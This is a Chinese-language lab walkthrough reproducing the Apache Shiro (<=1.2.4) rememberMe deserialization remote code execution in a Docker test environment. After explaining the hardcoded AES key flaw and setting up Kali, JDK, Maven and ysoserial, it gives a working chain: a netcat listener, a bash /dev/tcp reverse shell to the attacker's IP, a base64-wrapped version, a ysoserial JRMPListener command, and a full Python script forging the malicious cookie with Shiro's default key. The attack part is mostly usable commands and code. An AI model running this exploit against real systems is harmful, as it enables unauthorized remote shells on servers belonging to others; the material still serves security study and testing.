Apache Shiro反序列化漏洞
一、 漏洞概述:
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:
(1)获取rememberMe cookie
(2)base64 解码
(3)AES解密(加密密钥硬编码)
(4)反序列化(未作过滤处理)
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。
二、 影响版本:
Apache Shiro <= 1.2.4
三、 环境搭建:
靶机:Ubuntu20.04.1-Vulhub(IP:192.168.77.191)
攻击机:Kali Linux(IP:192.168.77.155)
1.docker pull medicean/vulapps:s_shiro_1 //拉取镜像
2.docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
3.查看对应端口并用浏览器访问,漏洞环境搭建成功
注:接下来配置Kali的环境
4.安装jdk环境,Kali自带的是openjdk,我们要安装的是Oraclejdk
注:
gedit /etc/profile 在底部添加环境变量
export JAVA_HOME=/usr/local/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存完成之后
source /etc/profile 使环境变量生效
ln -s /usr/local/java/jdk1.8.0_251/bin/java /usr/bin/java 添加软链接
5.查看是否安装成功
6.安装mvn
mv -f apache-maven-3.3.9 /usr/local/ gedit /etc/profile 配置环境变量,在底部添加如下配置 export MAVEN_HOME=/usr/local/apache-maven-3.3.9 export PATH=${PATH}:${MAVEN_HOME}/bin source /etc/profile 重载环境变量
7.查看是否安装成功
8.获取复现需要用到的ysoserial工具
注:ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -D skipTests
四、 漏洞复现:
1.访问URL并通过burp抓包,判断环境是否存在shiro
注:查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段;登录抓包时记得,点这个remember Me
2.本地端口监听
nc -vnlp 8879
3.反弹shell的指令
bash -i >& /dev/tcp/192.168.77.155/8879 0>&1
4.将反弹shell指令base64加密
注:http://www.jackson-t.ca/runtime-exec-payloads.html(在这进行加密)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE1NS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}
5.运行指令
注:通过 ysoserial中的JRMP监听模块,监听7788端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7788 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE1NS84ODc5IDA+JjEK}|{base64,-d}|{bash,-i}'
6.伪造cookie内容
python shiro.py 192.168.77.155:7788
注:shiro.py如下
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
7.伪造的Cookie值插入
8.查看反弹shell